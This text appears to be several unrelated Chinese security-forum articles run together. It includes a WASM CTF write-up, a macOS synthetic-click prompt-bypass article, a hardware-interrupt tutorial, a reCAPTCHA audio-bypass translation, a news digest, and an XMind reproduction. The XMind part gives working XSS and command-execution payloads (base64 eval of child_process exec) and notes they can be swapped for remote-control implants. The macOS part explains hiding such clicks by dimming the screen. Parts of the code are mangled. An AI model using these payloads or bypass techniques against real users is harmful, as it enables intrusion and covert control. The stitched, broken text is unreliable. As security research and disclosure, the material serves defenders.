在逆向wasm的过程中，由于其执行的是以栈式机器定义的虚拟机的二进制指令格式，因此直接进行逆向分析难度较大，需要对wasm文件进行处理，增强可操作性，提高逆向的效率。在此参考了[`《一种Wasm逆向静态分析方法》`](https://xz.aliyun.com/t/5170)一文，主要利用了[`WABT（The
WebAssembly Binary Toolkit）`](https://github.com/WebAssembly/wabt)工具箱实现。
### 2.1反汇编
安装WABT工具后，在/wabt/build文件中会有各种小工具。利用wasm2wat工具可以生成wasm汇编文本格式的.wat文件。
./wasm2wat ../webassembly.wasm -o webassembly.wat
输入上述语句可以得到webassembly.wat文件。
### 2.2反编译
利用wasm2c工具可以生成c语言文本格式的`*.c`和`*.h`代码文件。
./wasm2c ../webassembly.wasm -o webassembly.c
输入上述语句可以得到webassembly.h和webassembly.c文件。
### 2.3重新编译
得到webassembly.h和webassembly.c文件后就可以使用gcc编译得到常见的`*.o`目标文件了，这里需要将/wabt/wasm2c中的wasm-rt.h，wasm-rt-impl.c，wasm-rt-impl.h文件复制出来。
gcc -c webassembly.c -o webassembly.o
输入上述语句可以得到webassembly.o文件。
## 3.静态分析
经过了wasm处理之后，对wasm的分析就可以利用webassembly.o文件在IDA中进行了。
### 3.1寻找main函数
IDA自动分析之后可以直接找到`main`函数。
### 3.2寻找关键函数
在`main`函数中只调用了`f54`和`f15`两个函数，进入函数就会发现`f54`函数比较复杂，进入`f15`函数可以看到疑似加密过程的函数。
可以搜索魔数`0x61C88647`寻找加密算法。
其实从汇编语言中可以看到，魔数`0x61C88647`应该是`0x9E3779B9`，即可知这里是进行了四次`XTEA`加密算法。
继续观察`f15`函数可以看到如下代码。
注意到`'x65x36x38x62x62x7d'`的二进制数据为字符串`'e68bb}'`，刚好符合flag的尾部格式，应该是未加密部分的数据，可以看出，该程序是对输入的数据进行XTEA加密，如果等于给出的密文，则输入即为flag。
到此，就可以写出exp得到flag了。
## 4.动态分析
上述静态分析过程已经可以得到flag，这里通过动态跟踪该程序整理一下动态调试分析的方法。这里采用chrome浏览器进行动态调试分析，用到了[`chrome-wasm-debugger`](https://github.com/itszn/chrome-wasm-debugger)工具观察内存信息。
### 4.1环境搭建
利用python3自带的http服务，输入以下命令，在8888端口开启一个简单的服务器用于动态调试。
python -m http.server 8888
打开chrome浏览器，输入地址`http://127.0.0.1:8888/webassembly.html`即可正常加载运行，此时点击`WASM
debuger`插件工具，即可attach到当前浏览器，会显示“‘WASM
debugger’正在调试此浏览器”的字样，然后按下`Control+Shift+J` 打开开发人员工具并转到控制台。
### 4.2寻找关键断点
一般程序动态分析的关键就在于断点的寻找，找到合适的断点，便于分析程序的执行流程和数据处理情况。在动态分析Webassembly程序的时候，可以同时在JS脚本和wasm文件下断点，就能更加有效地达成上述目的。
该程序在运行后弹出了一个窗口，并伴有`input:`的字样，那么就可以在JS脚本中搜索该文字，找到弹出窗口的程序语句，并在此处点击设置断点。
设置断点之后刷新页面重新运行程序，就可以看到程序断在了此处，找到了关键断点，下面就可以对程序进行调试分析了。
### 4.3调试分析
找到关键断点后，观察右边的函数调用栈，可以看到程序运行到此处的函数调用过程如下。
f16 --> f54 --> f32 --> f34 --> f28 --> __syscall145 --> doReadv --> read --> read --> get_char
结合IDA静态分析过程，`f16`即为`main`函数，可以看到`main`函数调用了静态分析过程中忽略的`f54`函数，那么可以猜测该函数功能应该是获得输入内容。
#### 4.3.1JS代码初始化过程
为了搞清楚Webassembly程序的整个运行过程，以及JS与Wasm的交互过程，我们从头开始分析。在Webassembly.js文件的第一行设置断点，按下F11单步跟进。
##### 1.创建线性内存实例
运行到582行的时候，通过调用[`WebAssembly.Memory()`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory)接口创建WebAssembly线性内存实例，并且能够通过相关的实例方法获取已经存在的内存实例（当前每一个模块实例只能有一个内存实例）。内存实例拥有一个[`buffer`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer)获取器，它返回一个指向整个线性内存的ArrayBuffer。
##### 2.初始化内存
运行到591行的时候，调用了`updateGlobalBufferViews()`函数，该函数的实现中申请了一些内存，在之后的数据处理过程中会被用到。
##### 3.创建Webassembly实例
运行到783行的时候，通过调用`createWasm()`函数后间接调用到`getBinaryPromise()`函数，通过`fetch()`函数[`编译和实例化Webassembly代码`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate)。
##### 4.JS导入wasm的导出函数
运行到4413行的时候，JS代码将wasm中的导出函数导入进来，`main`函数就是在这个过程中被导入到了`_main`变量当中的。
这些导出函数可以在Webassembly.wat文件的最后位置找到。
(export "___errno_location" (func 26))
(export "_free" (func 18))
(export "_main" (func 16))
(export "_malloc" (func 17))
(export "_memcpy" (func 69))
(export "_memset" (func 70))
(export "_sbrk" (func 71))
(export "dynCall_ii" (func 72))
(export "dynCall_iiii" (func 73))
(export "establishStackSpace" (func 14))
(export "stackAlloc" (func 11))
(export "stackRestore" (func 13))
(export "stackSave" (func 12))
##### 5.执行wasm的main函数
运行到4594行的时候，JS代码几乎快要执行结束了，这个时候进入`run()`函数之后，程序最终会调用wasm的`main`函数，此时程序执行到wasm的代码空间中。
#### 4.3.2数据处理过程
##### 1.Wasm代码调用用户输入
Wasm代码的断点可以在左边视图中wasm的结点中设置，通过上文的函数调用栈，中间函数不需要一步步跟进了，我们可以看到运行到了`f28`函数后，紧接着调用了`__syscall145`函数。
在`f28`函数中看到了`f3`函数，并没有`__syscall145`函数，但是如果去IDA中观察的话，是能够看到该函数的。
其实这个是wasm导入的JS的导出函数，可以在Webassembly.wat文件的最开始位置找到。
(import "env" "abort" (func (;0;) (type 2)))
(import "env" "___setErrNo" (func (;1;) (type 2)))
(import "env" "___syscall140" (func (;2;) (type 3)))
(import "env" "___syscall145" (func (;3;) (type 3)))
(import "env" "___syscall146" (func (;4;) (type 3)))
(import "env" "___syscall54" (func (;5;) (type 3)))
(import "env" "___syscall6" (func (;6;) (type 3)))
(import "env" "_emscripten_get_heap_size" (func (;7;) (type 4)))
(import "env" "_emscripten_memcpy_big" (func (;8;) (type 0)))
(import "env" "_emscripten_resize_heap" (func (;9;) (type 1)))
(import "env" "abortOnCannotGrowMemory" (func (;10;) (type 1)))
(import "env" "__table_base" (global (;0;) i32))
(import "env" "DYNAMICTOP_PTR" (global (;1;) i32))
(import "global" "NaN" (global (;2;) f64))
(import "global" "Infinity" (global (;3;) f64))
(import "env" "memory" (memory (;0;) 256 256))
(import "env" "table" (table (;0;) 10 10 funcref))
##### 2.JS处理用户输入
`__syscall145`函数调用之后，程序又进入了JS代码空间。在此可以跟进到第二个`doReadv`函数，可以看到这里是在处理的用户输入去了哪里。
如果跟进后面的read可以得知，取出用户输入1024长度的内容，这里终于可以用到`WASM
debuger`工具了，这里在4183行下好断点，运行到断点处，我们在工具窗口中查看`ptr`中的内容，此时的命令与gdb相同，需要注意3672是10进制数字。
wdb> x/16 0xe58
0x00000e58: 0x00000000 0x00000000 0x00000000 0x00000000
0x00000e68: 0x00000000 0x00000000 0x00000000 0x00000000
0x00000e78: 0x00000000 0x00000000 0x00000000 0x00000000
0x00000e88: 0x00000000 0x00000000 0x00000000 0x00000000
wdb>
之后在函数结束处4187行下好断点，然后输入1024个A的数据，程序中断，在工具窗口中继续查看`ptr`中的内容。
wdb> x/16 0xe58
0x00000e58: 0x41414141 0x41414141 0x41414141 0x41414141
0x00000e68: 0x41414141 0x41414141 0x41414141 0x41414141
0x00000e78: 0x41414141 0x41414141 0x41414141 0x41414141
0x00000e88: 0x41414141 0x41414141 0x41414141 0x41414141
wdb>
此时，该内存的内容就是用户输入的数据了，同时我们查看`iov`内存中的内容。
wdb> x/4 0x1b30
0x00001b30: 0x00001b20 0x00000000 0x00000e58 0x00000400
wdb>
可以看出，该内存块中存访了0xe58的内存地址和0x400的内存大小。
那么执行到`f25`函数之后就有了存放输入内容的内存地址和内存大小的信息了。
##### 3.输入数据的判断
到这里以后，就可以随心所欲地调试自己的程序了，发现输入的数据进入到wasm代码空间之后并没有进行处理，直接又返回调用到用户输入了。
继续跟进会发现在`f54`函数当一个判断条件不能触发，那么程序永远都会跳转到第1000行的`f32`函数，从而重新跳转到了用户输入变成了死循环。因此，我们在判断条件处设置断点。
发现这里比较的是内存地址和4696的值进行比较，而内存长度只有1024，当内存的每一个字符都比较完了就必定会落入`f32`函数当中，好像无法跳出循环。继续往下执行发现还有一个条件判断语句。
发现这里是取内存地址6656，在地址偏移为输入字符的ASCII码值加1处的内容，然后与0进行比较，因此可以查看该内存地址0x1A00处的内容。
wdb> x/48 0x1a00
0x00001a00: 0xfffffeff 0xfffffffe 0x0000ffff 0xfeffffff
0x00001a10: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001a20: 0xffff00fe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001a30: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001a40: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001a50: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001a60: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001a70: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001a80: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001a90: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001aa0: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
0x00001ab0: 0xfffffffe 0xfffffffe 0xfffffffe 0xfffffffe
或者查看右边Global中的memory，找到6056的位置。
可以看到其中有内容为0的地址有6个，当输入为可见字符空格即0x20的时候，会取到6689处的0，之后就会跳出循环进入到后面的验证程序。所以输入的1024个数据中，会截取空格之前的数据传送到后边的程序进行处理。
##### 4.数据加密
我们继续跟进，查看输入数据是否到达了上文静态分析的`f15`函数中，直接在`f15`函数第33行设置断点，输入1024个A，并替换其中一个A为空格，运行后程序中断。
可以看到两个变量的值变为1094795585，这个值转换为十六进制就是0x41414141，即我们刚才输入数据的前四个AAAA，到此完全搞清楚了程序的执行流程和数据处理情况。
#### 4.3.3编写exp得到flag
经过上述分析可以编写exp如下。
#!python3.6
import struct
def decrypt(v0, v1, key):
delta = 0x9e3779b9
n = 32
sum = (delta * n)
mask = 0xffffffff
for round in range(n):
v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
sum = (sum - delta) & mask
v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
return struct.pack("i",v0) + struct.pack("i",v1)
block = [0xE7689695, 0xC91755b7, 0xCF1e03ad, 0x4B61c56f, 0x2Dfd9002, 0x930aed22, 0xECc97e30, 0xE0B1968c]
k = [0,0,0,0]
flag = ''
for i in range(4):
flag = flag + ((decrypt(block[i*2], block[i*2+1], k)).decode())
flag = flag + 'x65x36x38x62x62x7d'
print(flag)
得到flag为`flag{1c15908d00762edf4a0dd7ebbabe68bb}`
若直接输入该字符串并不会显示处结果，因此输入flag和空格，再跟上一些内容组成1024长度的数据，就可以得到成功结果的字符串。
另外，如果只输入flag，直接点击取消，会有换行符号0x0A加在输入后面，也能够进入判断流程，是可以得到正确结果的，有兴趣的萌新可以跟进调试以下。
## 5.相关信息
在进行Webassembly的动态调试的时候，chrome浏览器存在一些bug，可能导致某些断点虽然设置了，但是并没断下来，这个时候需要关闭浏览器后重新加载一下就可正常运行了。`WASM
debuger`工具并不是必须的，浏览器中也能够观察到相关的内存信息，不过不如该工具方便。由于刚接触Webassembly的逆向分析，可能上述过程并不是最佳方法，如大佬们有更好的调试分析方法，欢迎分享知识指点迷津。
### 5.1参考资料
* [`图解WebAssembly`](https://www.w3ctech.com/topic/2011)
* [`理解 WebAssembly JS API`](https://www.w3ctech.com/topic/2014)
* [`理解WebAssembly文本格式`](https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format)
* [`Webassembly 语义`](https://webassembly.org/docs/semantics/#linear-memory)
* [`一种Wasm逆向静态分析方法`](https://xz.aliyun.com/t/5170)
* [`用idawasm IDA Pro逆向WebAssembly模块`](https://xz.aliyun.com/t/2854)
* [`执行 wasm 转换出来的 C 代码`](https://zhuanlan.zhihu.com/p/43986042)
* [`TEA、XTEA、XXTEA加密解密算法`](https://blog.csdn.net/gsls200808/article/details/48243019)
* [`WebAssembly.Memory()`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory)
* [`buffer获取器`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer)
* [`编译和实例话Webassembly代码`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate)
### 5.2工具链接
* [`WABT（The WebAssembly Binary Toolkit）`](https://github.com/WebAssembly/wabt)
* [`chrome-wasm-debugger`](https://github.com/itszn/chrome-wasm-debugger)
* [`示例程序相关文件`](https://github.com/supdump/qwb2019/tree/master/webassembly) | 社区文章 |
# 0x01 背景
* * *
想象一下，如果我们作为一个攻击者获得了macOS的root权限，可以做些什么？
你可能想要执行以下操作：
下载所有用户的钥匙扣，获取用户账号和密码
定位系统的地理位置
枚举用户的联系人
加载内核扩展
绕过第三方的安全产品
不幸的是在最新的macOS上，新增了一些安全机制阻止了这些操作。在执行上述各项操作的时候，这些安全机制将会生成警报响应。只有用户可以与之交互。比如访问钥匙扣。
如果我们能够找到一种编程方式突破这些警报的方法，那么我们将可以一次性的绕过macOS所有此类型的安全机制。
# 0x02 模拟攻击历史
* * *
其实用程序的方式模拟UI交互的想法并不是新颖的，让我们一起看看恶意软件使用这种方法的事件。OSX.FruitFly是十多年前写的，直到17年初才被发现，我之前写了一本分析这个软件的白皮书（"Offensive
Malware Analysis: Dissecting OSX.FruitFly.B via a Custom C&C
Server"），指出它能够模拟鼠标和键盘事件。
这里有一个完整的gif，显示了远程攻击者是如何通过osx远程关系（钥匙扣）的安全提示。
另外一个利用模拟攻击的恶意软件是OSX.DevilRobber。就像@noarfromspace说的它通过几个简单的AppleScript命令绕过了“钥匙扣安全访问“，转存了用户的钥匙扣存储的信息。
广告软件也是利用模拟的事件，就像osx.genieo把自身安装成浏览器的扩展。为了实现这个操作，osx.genieo必须组织编程安装Safari浏览器的安全提示。广告软件怎么绕过此提示，只需要发送一个模拟的鼠标点击“允许”。
具体而言，使用Jtool分析osx.genieo。我们可以看到一个叫SafariExtensionInstaller的类名。
clickOnInstallButton的按钮是干什么的？
首先，它通过调用一个一个getPupupPosition的方法来获取警报（弹出窗口）的位置，然后调用cgeventcreatemouseevent和cgeventposter的api发送一些模拟的鼠标事件。0x5对应鼠标移动，0x1是和0x2对应鼠标左击和向上。最终结果，广告软件能够关闭警报，并将自身安装为浏览器扩展。
# 0x03 防御模拟攻击
* * *
在最近的macos上，苹果实施了各种防御措施在阻止这种攻击方式，但是这些防御不是通用的，只是保护一部分UI组件（安全访问提示）。
在mac
sierra或者更老的macos版本，如果试图发送鼠标事件（例如钥匙扣访问提示），操作系统将会检测并阻止。
具体来说，macos将检查模拟的事件进程是否已经获得了辅助访问权限。
注意，必须手动向应用程序提供辅助访问。通过系统偏好设置，可以查看给定此权限的应用程序。你可以转存（受SIP保护）系统的私密数据库
/Library/Application Support/com.apple.TCC/TCC.db:
通过coremics api生成的模拟事件也会被检测和阻止（只有目标ui组件被显式保护时），在以下的系统日志输出中可以看到：
如果我们匹配“Sender is prohibited from synthesizing
events”字符串，我们可以在核心库中找到“post_filtered_event_tap_data”这个函数。
正如我们在上面的反编译中看到的，如果CGXSenderCanSynthesizeEvents函数返回0
(false/NO)，那么我们将在日志中看到这条错误信息。如果sandbox_check_by_audit_token方法失败就将会发生。
从函数命名看，如果进程发送模拟事件sandbox_check_by_audit_token函数便会检查它是否有hid-control权限。这个检查是由内核的mpo_iokit_check_hid_control_t函数中执行的。
# 0x04 绕过苹果的保护
* * *
"Mouse Keys"在macos上是一个可以把键盘当作鼠标使用的一个功能
首先，我们使用AppleScript用编程的方式打开系统偏好设置启用鼠标键，使用coregraphics发送模拟鼠标操作检查是否开启。
通过程序实现鼠标单击，启用“Mouse Keys”，首先移动鼠标，然后通过AppleScript发送模拟键盘事件。
模拟鼠标关闭警报
# 0x05 隐形
* * *
这些模拟操作有一个明显的缺点就是它们是可见的。想象一下, 你坐在办公桌前在 mac 上工作...... 当突然出现警报时, 鼠标似乎会自动移动到警报中,
点击将其关闭。你会清楚地知道你被黑客攻击了!
幸运的是有一个简单的解决方案!只需使屏幕变暗:
在显示屏即将进去睡眠状态时，迅速将屏幕调暗0.0的亮度级别，然后执行模拟攻击。 | 社区文章 |
【活动主题】通用Web程序安全架构/CVE分析投稿活动
【活动时间】2017年9月4日-10月8号
【活动范围】先知安全技术社区
【活动内容】活动期间，针对某特定通用Web程序进行文章分析
【活动形式】文章投稿 [email protected]或者联系先知管理员（QQ：1991308903）
【活动奖品】
1. 600-1000现金奖励
2. 阿里云ECS代金券
3. [云悉指纹识别邀请码](http://www.yunsee.cn/)
4. [永久Cloudeye账号]()
5. Fofa Vip账户
6. 审核通过入驻小密圈【代码审计】核心团队
【原创类文章说明】
1. 通用Web程序（不限于参考类）
参考：<https://help.aliyun.com/knowledge_detail/40065.html>
1. 语言类型：Php Java Python
2. 非流行厂商，漏洞类型有代表性、有技术亮点
3. 通用Web程序安全架构分析文章
参考：[ThinkPHP3.2.3框架实现安全数据库操作分析](https://xianzhi.aliyun.com/forum/read/2054.html)
1. CVE类文章覆盖范围要求：
1\. 漏洞名称
2\. 漏洞等级（中，高）
3\. 漏洞场景
4\. 漏洞原理
5\. 漏洞检测方法
1. 可分析官方发布补丁
【其他说明】
1. 投稿数量Top 5 阿里云ECS 2000代金券
2. 此次活动是【先知安全社区】和知识星球【代码审计】初次合作，文章需要发到先知安全社区，分享链接到知识星球【代码审计】里
3. 活动解释权归先知
FAQ:
1. 发布过的文章可以么？
答：属于自己的原创文章都可以，请整理后发到邮箱[email protected]或者联系先知管理员（QQ：1991308903）
1. 发布过的文章可以获得什么奖励
答：根据数量和质量排名，获得非现金奖励的其他奖励 | 社区文章 |
# 从CPU到内核/到用户态全景分析异常分发机制——硬件基础及Hook
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
【直接看最后一张图——硬件HOOK，你会感兴趣的】讲解中断或者异常的，大部分书籍仅仅简单的提一句，并没有过多的往深了去讲解。主要原因是想要彻底弄清这个问题，必须要到硬件层面才行，否则都是浅显的失败尝试。很多教cpp的老师，讲解下try
catch throw就基本完事了，连 **try**
except这些都没讲过，更别说什么全局展开，异常分发了。要想弄明白这底层的原理，不看看代码怎么能说懂了呢？这个系列从异常/中断的起源讲起，一直讲到你的程序是如何接管异常为止，每一个细节都不会跳过。
整个系列涉及到的知识：
1、CPU异常与中断概念与区别；
2、Intel架构中的IDT表与ISR；
3、Windows内核中内核异常分发；
4、Windows内核中用户态异常分发；
5、在调试器里查看PIC中断和APIC中断；
6、硬件HOOK的另类实现
## 1、基础知识
往下看之前，请各位先问下自己，以下几个问题，如果都了然于胸的话，这小节可以直接跳过；
问题1：异常、中断的本质区别是什么？
问题2：是谁先发现的异常、中断？
问题3：异常、中断是依靠什么方式来管理的？
问题4：CPU是如何将异常转交给OS的?
看到这里，说明你没能完全回答上边的内容罗，没关系，接下来一块来看看。首先解释异常是什么。异常就是CPU跑着的过程中，遇到了一些很“郁闷”无解的事情，诸如：无法识别的指令，缺页，硬件错误，除0等等。CPU也不傻，遇到这些问题的时候，它当然不会藏着掖着，他也不背锅，直接甩出去了。再来解释中断是什么。中断就是外设与CPU“打电话”的工具，就是CPU跑的好好的，当然也可以是正睡着觉，突然“有人”来敲门了，比如网卡接收到数据了，串口接收到数据了，RTC定时时间到了，键盘被按下了，鼠标被按下了。。。当这些外部设备需要告知CPU时，他就通过“中断”打个电话给CPU——你这老小子别玩了，来客了，快点接单，不然我就往死了等你。下边给大家画一张图，直观的看一下远古时代，通过两片8259芯片级联的方式来接收外部中断的方式，8259芯片就是俗称的PIC——中断控制器；
简单解释下上图，每一块8259芯片都可以单独使用，IR0-IR7分别时8个中断源，但你知道的，8个够个屁啊，那么多外设，聪明的前辈们当然也知道，一种比较常规的解决方案就是“级联”两块8259芯片，这样就可以搞定15个外设了，对是15个而不是8+8个。那么级联的这两块8259一块称之为Master另一块称之为Slave。还有个问题，鼠标和键盘假设同时触发了一个中断，那8259该如何处理？CPU又该如何处理？嗯，这是个好问题，8259的处理方式很简单，给每个外设设置优先级，按照优先级依次报告给CPU。CPU呢，也是差不多，如果当前没有处理中断，则8259报过来了我就处理，如果当前CPU正在处理中断，那就比较下谁的优先级高就处理谁的。注意，这句话隐含了另一层含义，即CPU可以嵌套处理，当前的高优先级中断处理完毕，CPU会/能够返回到上一个中断程序继续处理未完成的中断。好了，再看下异常，CPU支持哪些异常呢？鬼知道，只有CPU生产厂商才知道，这些都是预定义的，那就来看下Intel的CPU预定义的那些个异常吧。Intel白皮书卷三中相关内容，如下：
挑几个常规的说一下，比如第一个除0异常，显然就是CPU发现被除数是0了，主动报告了这么一个异常，那么CPU是如何发现的呢？来看看Intel给的检测这个异常的代码：
简单明了，做了检测的，很可能有人会说，这个只是伪代码。其实，你用VHDL或者Verilog开发过CPU，你会发现，你的代码中也是这样写的。大家可以下一些开源的CPU代码验证下。再来看一下三号异常Breakpoint，这个在调试中是用的最多的——喔嚯，居然调试是借助异常来实现的。简单解释下CPU报告这个异常的过程，当CPU内部的译码器译码完，发现当前的指令是“0xCC”，则会通知CPU报告一个断点异常。
好了，总结下几个关键的点：
1、中断是外设需要通信时，通过PIC报告给CPU的；
2、异常是CPU自己跑着跑着发现不对劲，自己报告的；
3、中断是异步的，异常是同步的；
## 2、PIC与CPU的通信
第一节看完后，应该有千千万万个为什么，比如我能猜到一两个；比如没有PIC的话，CPU就不能与外设通信了吗？PIC是怎么把中断号告诉CPU的？
一个一个来解答，第一个，没有PIC的话，CPU当然可以与外设通信，而且解决方案还不止一种，比如：CPU通过轮循的方式一个一个的询问外设，你有事没，有的话赶紧说，不然下一个。这种方式的缺点显而易见，效率太低——如果外设太多还会导致响应不及时呢。另一种解决方案就是，为每个外设分配一个IO引脚，这样就把PIC给彻底抛弃了，比如51单片机就是这么干的，如下：
但这也有个很明显的缺陷，外设越多占用的IO脚就越多，显然也划不来。那显然比较下来，还是搞一个PIC要划得来，既然PIC话的来，那如果是15个外设的话，PIC又是如何把中断号告诉CPU的呢？且看我下图所示：
这个过程细节虽然不要扣，但有个映像还是必要的。这些数据可以通过示波器来抓波形看，有条件的可以试试。下边给出一个典型的PIC与CPU连接的系统图；
上图中IDT先不用管，后边会讲解到。当然了这会Windbg怎么能缺席呢，来看一下：
`0: kd> !pic
----- IRQ Number ----- 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
Physically in service: . . . . . . . . . . . . . . . .
Physically masked: Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y
Physically requested: Y . . . . . . . Y Y . . Y . . .
Level Triggered: . . . . . . . Y . Y Y Y . . . .`
说明下，Y表示的是yes，即1。
Physically in service：表示当前CPU正在处理的外设；由上图可知，当前没有外设中断被处理；
Physically masked：表示屏蔽掉哪些外设，这是全屏蔽，奇怪不？这个谜题在下一节解开；
Physically requested：表明当前有哪些外设正在请求中断处理；
再在Windbg中读一下外设数据吧，前提是你要知道一些外设的IO端口，整理了下，如图所示：
Windbg读些外设IO的操作如下图所示：
## 3、时代在发展，PIC的替代者——APIC
时代的洪流滚滚向前，15个外设显然不够用了，后来Intel憋了个大招，将PIC升级成了APIC，即Advanced
PIC。来看看这玩意咋玩的。就给一张图吧，详细的文档需要去看Intel的白皮书，主要是几个寄存器是啥意思，怎么配置等。其他的跟8259的没本质区别；
从IRQ0到IRQ23的中断分配如下表所示：
有一些需要说明的问题，为了配合图片突出显示一些内容，下边的内容我放在了Excel中整理了，截图如下：
## 4、关于硬件HOOK的一些安全相关思考 | 社区文章 |
# 【技术分享】ReBreakCaptcha：利用谷歌来破解谷歌的验证码
|
##### 译文声明
本文是翻译文章，文章来源：east-ee.com
原文地址：<https://east-ee.com/2017/02/28/rebreakcaptcha-breaking-googles-recaptcha-v2-using-google/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[scriptkid](http://bobao.360.cn/member/contribute?uid=2529059652)
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**概述**
从2016年开始，我就在琢磨寻找一种新的绕过谷歌验证码v2的方法会有多难，如果这种方法能够适用于任何环境而不仅仅是针对特定的案例，那这种方法将是非常理想的。接下来我将向你介绍ReBreakCaptcha——一种全新的谷歌验证码v2的绕过技术。
ReBreakCaptcha分为三个阶段：
1、音频挑战-获得正确的挑战类型
2、识别-转换音频挑战音频并将其发送到谷歌的语音识别API
3、验证-验证语音识别结果并绕过验证码
注：截至发布时(2017.02.28)，该漏洞仍确认有效。
**ReBreakCaptcha阶段1：音频挑战**
一共有三种类型的验证码v2挑战：
图像挑战-挑战包含描述和9个子图像组成的图像。请求用户需选择与给定描述最为匹配的子图像。
音频挑战-挑战包含音频录音，请求用户需输入听到的数字。
文本挑战-挑战包含一个类别和5个候选短语，请求用户需选择与给定类别最匹配的短语。
ReBreakCaptcha知道如何解决验证码v2的音频挑战，因此，我们需要一种每次都获得音频挑战的方法。
当点击验证码v2的“我不是机器人”复选框时，我们经常会看到以下挑战类型：
要获得音频挑战，我们需要单击以下按钮：
然后我们就能看到一个可以轻松绕过的音频挑战：
也许你会注意到，有时候你会得到一个文本挑战，而不是音频挑战：
要绕过它并获得音频挑战，只需要点击“重新加载挑战”按钮，直到获得正确的类型即可。重新加载挑战按钮：
我们的目标是什么？绕过验证码。我们能做到吗？是的，用谷歌语音识别API!
**ReBreakCaptcha阶段2：识别**
接下来是一个有趣的部分，利用谷歌的一个服务来对付另一个谷歌的服务！让我们回到音频挑战（第三张图），如你所见，此挑战页面上的控件是：
1、播放按钮-听到挑战内容
2、文本框-给用户输入结果的。
3、下载按钮-下载音频挑战文件
让我们下载音频文件，并将其发送到Google语音识别API。在执行此操作之前，我们会将其转换为Google语音识别API要求的“wav”格式。现在我们有音频挑战文件，并准备好发送到Google语音识别。如何才能做到这一点？使用他们的
API。
有一个伟大的Python库，名为
[SpeechRecognition](https://pypi.python.org/pypi/SpeechRecognition/)，用于执行语音识别，支持多个引擎和API，在线和离线。我们将使用这个库实现Google语音识别API调用。我们发送'wav'音频文件，然后语音识别将以字符串（例如'25143'）形式将结果发回给我们。这个结果就是我们音频挑战的结果。
**ReBreakCaptcha阶段3：验证**
这个阶段相当短。我们现在需要做的只是将输出字符串从阶段2复制粘贴到文本框中，然后单击“验证”在ReCaptcha小部件。没错，我们现在半自动地使用Google的服务绕过自己的其他服务。
**ReBreakCaptcha完整PoC**
这里提供了一个完整的由Python编写的PoC脚本，github链接：<https://github.com/eastee/rebreakcaptcha>
**2017.03.02更新**
我注意到了不少人遇上了一个难度值较高的音频挑战版本。因此，我提交了一个解决方案到github
repo，该方案应该能克服这种情况，虽然成功率比原来要低。目前仍不清楚为什么会触发这个较难的版本，但最被怀疑的原因是你的IP地址被谷歌认为是可疑的，通常情况下，不要使用公共代理/VPN，因为谷歌会将这些IP标记为可疑（这时将会出现较难的验证码版本）。 | 社区文章 |
今天看到某数字云漏洞预警，但没给利用代码就.....于是跑去复现一下
XMind 是一个全功能的思维导图和头脑风暴软件，为激发灵感和创意而生。作为一款有效提升工作和生活效率的生产力工具，受到全球百千万用户的青睐。
下载地址：<https://www.xmind.cn/>
下载xmind2020最新版本
一、Xss：
1、利用过程：
主题插入xss利用代码
在大纲页面触发
实现弹窗
2、利用代码：
<audio src=x onerror=confirm("casrc")>
二、命令执行：
1、利用过程：
主题插入命令执行利用代码
在大纲页面触发实现命令执行
触发弹出计算器
2、利用代码：
通过nodejs调用执行系统命令打开计算器
require('child_process').exec('calc.exe',(error, stdout,
stderr)=>{alert(`stdout: ${stdout}`);});
<audio src=http://a onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMuZXhlJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+e2FsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApO30pOw==`,`base64`).toString())'>
三、评价
实现过程简单，用户范围庞大（看了下实验室小伙伴电脑基本都有），危害严重（替换利用代码可实现cs上线等功能）。谨防钓鱼攻击。复现完毕~ | 社区文章 |
# 【知识】6月28日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：关于Petya勒索病毒的一些信息、Pwn2Own2017专题：VMWARE UAF漏洞分析、FFmpeg任意文件读取漏洞分析 **、**
攻击容器集群管理平台、恶意软件逃避杀软的方式 **、**** **IBM DB2 命令行进程缓冲区溢出、FFmpeg安全问题讨论、windows-syscall-table：add c style support**
**
**
**资讯类：**
* * *
Petya勒索病毒在全球范围内开始爆发
<https://www.bleepingcomputer.com/news/security/wannacry-d-j-vu-petya-ransomware-outbreak-wreaking-havoc-across-the-globe/>
WCTF世界黑客大师赛首日精彩回顾
<http://bobao.360.cn/ctf/activity/452.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
